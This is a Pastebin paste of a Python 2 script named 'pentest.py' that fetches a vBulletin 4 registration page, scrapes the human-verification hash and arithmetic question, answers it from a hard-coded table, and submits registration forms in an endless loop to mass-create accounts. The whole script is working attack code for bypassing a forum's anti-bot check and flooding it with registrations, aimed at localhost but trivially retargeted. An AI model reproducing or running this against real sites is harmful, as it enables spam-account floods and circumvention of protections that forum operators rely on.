Advertisement
parkdream1

pentest.py

Sep 15th, 2013
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.23 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. # Code by parkdream1
  3. # http://www.youtube.com/user/DevilSecurityX
  4. import sys
  5. ### IMPORT LIB ###
  6. import urllib
  7. import httplib
  8. import re
  9. import time
  10. from random import randrange
  11. taikhoan = 0
  12. ### DETECT humanverify[hash] ###
  13. ### DETECT Random Question ###
  14. def step1():
  15.     global hiddenkey
  16.     global traloi
  17.     ### headers request ###
  18.     headers =  ({"Host": "localhost:8080",
  19.         "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0",
  20.         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  21.         "Accept-Language": "en-US,en;q=0.5",
  22.         "Referer": "http://localhost:8080/vbb4/",
  23.         "Connection": "keep-alive"})
  24.     ### send request ###
  25.     conn = httplib.HTTPConnection("localhost",8080)
  26.     conn.request("GET", "/vbb4/register.php", None, headers)
  27.     response = conn.getresponse()    
  28.     print "Status : %s" % response.status, response.reason
  29.     the_page = response.read()
  30.     the_page = the_page.replace("\t","").replace("\n","").replace("\r","")
  31.     print "[*] Detect Security Code and Security Hash"
  32.     ### search hash and question ###
  33.     key = re.search('name="humanverify\[hash\]" value="(.*)" /></div></div> </div>',the_page)
  34.     question = re.search('<div class="rightcol"><p class="description">(.*)</p><input type="text" class',the_page)
  35.     if question:
  36.         cauhoi = question.group(1)
  37.     else:
  38.         print "Detect Security Code Error\nExit"
  39.         exit(1)
  40.     if key:
  41.         hiddenkey = key.group(1)
  42.     else:
  43.         print "Detect Security Code Error\nExit"
  44.         exit(1)
  45.     print "Security Code: %s" % cauhoi
  46.     print "Security Hash: %s" % hiddenkey
  47.     ### get answer ###
  48.     if cauhoi == '1+1=?':
  49.         traloi = '2'
  50.     elif cauhoi == '2+2=?':
  51.         traloi = '4'
  52.     elif cauhoi == '3+3=?':
  53.         traloi = '6'
  54.     else:
  55.         print "Can't ByPass Security Question"
  56.     print "[*] Bypass Security Code Ok"
  57.     print "Answer is : %s" % (traloi)
  58. ### BUILD USERNAME , PASSWORD , EMAIl ###
  59. ### SEND REQUEST ###
  60. def step2():
  61.     i = randrange(9999)
  62.     user = 'pentest%s' % (i)
  63.     email = 'pentest%s@gmail.com' % (i)
  64.     c_email = 'pentest%s@gmail.com' % (i)
  65.  
  66.     print "UserName: %s" % user
  67.     print "Email: %s" % email
  68.  
  69.     params = urllib.urlencode({'username':'%s'%(user),
  70.             'password': '',
  71.             'passwordconfirm': '',
  72.             'email':'%s'%(email),
  73.             'emailconfirm':'%s'%(c_email),
  74.             'humanverify[input]':'%s'%(traloi),
  75.             'humanverify[hash]':'%s'%(hiddenkey),
  76.             'referrername':'',
  77.             'timezoneoffset':'',
  78.             'dst':'2',
  79.             'options[adminemail]':'2',
  80.             'agree':'1',
  81.             's':'',
  82.             'securitytoken':'guest',
  83.             'do':'addmember',
  84.             'url':'http://localhost:8080/vbb4/',
  85.             'password_md5':'1f5d020ac0ce982f5846897871b6b5ec',
  86.             'passwordconfirm_md5':'1f5d020ac0ce982f5846897871b6b5ec',
  87.             'day':'',
  88.             'month':'',
  89.             'year':''})
  90.            
  91.     lenth = len(params)
  92.        
  93.     headers =   ({
  94.                     "Host": "localhost:8080",
  95.                     "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0",
  96.                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  97.                     "Accept-Language": "en-US,en;q=0.5",
  98.                     "Referer": "http://localhost:8080/vbb4/register.php",
  99.                     "Connection": "keep-alive",
  100.                     "Content-type": "application/x-www-form-urlencoded",
  101.                     "Content-Length": "%s"%lenth})
  102.     print "[*] Start Register User %s" % user
  103.     print "[*] Please Wait ..."
  104.     conn = httplib.HTTPConnection("localhost",8080)
  105.     conn.request("POST", "/vbb4/register.php?do=addmember", params, headers)
  106.     response = conn.getresponse()
  107.     print "Status : %s" % response.status, response.reason
  108.     print "Registered Successfully User: %s" % user
  109.     print "================================================================================"
  110.     conn.close()
  111. ### MAIN ###   
  112. if __name__ == "__main__":
  113.     while True:
  114.         step1()
  115.         time.sleep(1)
  116.         step2()
  117.         taikhoan = taikhoan + 1                
  118.         print "[*] Registered %s User\n" % taikhoan
  119.         print "================================================================================"
  120.         time.sleep(2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement